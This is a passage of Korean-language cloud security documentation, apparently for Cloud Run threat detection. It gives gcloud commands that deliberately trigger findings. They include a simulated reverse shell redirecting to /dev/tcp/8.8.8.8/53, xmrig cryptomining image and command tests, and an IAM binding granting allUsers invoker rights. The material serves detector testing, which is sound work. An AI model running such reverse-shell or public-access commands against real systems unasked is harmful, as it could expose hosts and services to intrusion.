   JOB_NAME="crtd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command bash \
       --args "-c","sleep 60; cp /bin/echo /tmp/sh; /tmp/sh >& /dev/tcp/8.8.8.8/53 0>&1; sleep 10" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 역방향 셸 발견 사항을 만듭니다.

실행: 암호화폐 채굴 Docker 이미지

실행: 암호화폐 채굴 Docker 이미지 발견 사항을 트리거하려면 암호화폐 채굴 소프트웨어와 연결된 Docker 이미지 이름을 사용하여 컨테이너를 배포합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-mining-img-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image docker.io/security-test-DO-NOT-USE/xmrig:latest \
       --command sh \
       --wait || true
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 실행: 암호화폐 채굴 Docker 이미지 발견 사항을 만듭니다. 이미지가 없으므로 작업 배포가 실패하지만 발견 사항은 계속 생성됩니다.

영향: 암호화폐 채굴 명령어

Impact: Cryptomining Commands 발견 사항을 트리거하려면 알려진 암호화폐 채굴 소프트웨어와 유사한 인수와 함께 명령어를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-mining-cmd-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image marketplace.gcr.io/google/ubuntu2404:latest \
       --command xmrig \
       --wait || true
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Impact: Cryptomining Commands 발견 사항을 만듭니다.

권한 에스컬레이션: 기본 Compute Engine 서비스 계정 SetIAMPolicy

Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy 발견 사항을 트리거하려면 기본 Compute Engine 서비스 계정을 사용하여 Cloud Run 서비스의 IAM 정책을 설정하는 명령어를 실행합니다.

Cloud Run 작업을 만들고 실행합니다.

   JOB_NAME="crtd-test-set-iam-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
   gcloud run jobs create $JOB_NAME \
       --project $PROJECT \
       --region $REGION \
       --image gcr.io/google.com/cloudsdktool/google-cloud-cli:stable \
       --command gcloud \
       --args "run","services","add-iam-policy-binding","non-existent-service","--region",$REGION,"--member=allUsers","--role=roles/run.invoker","--quiet" \
       --wait
   gcloud run jobs delete $JOB_NAME --project $PROJECT --region $REGION --quiet

이 테스트 절차에서는 Privilege Escalation: Default Compute Engine Service Account SetIAMPolicy 발견 사항을 만듭니다.

다음 단계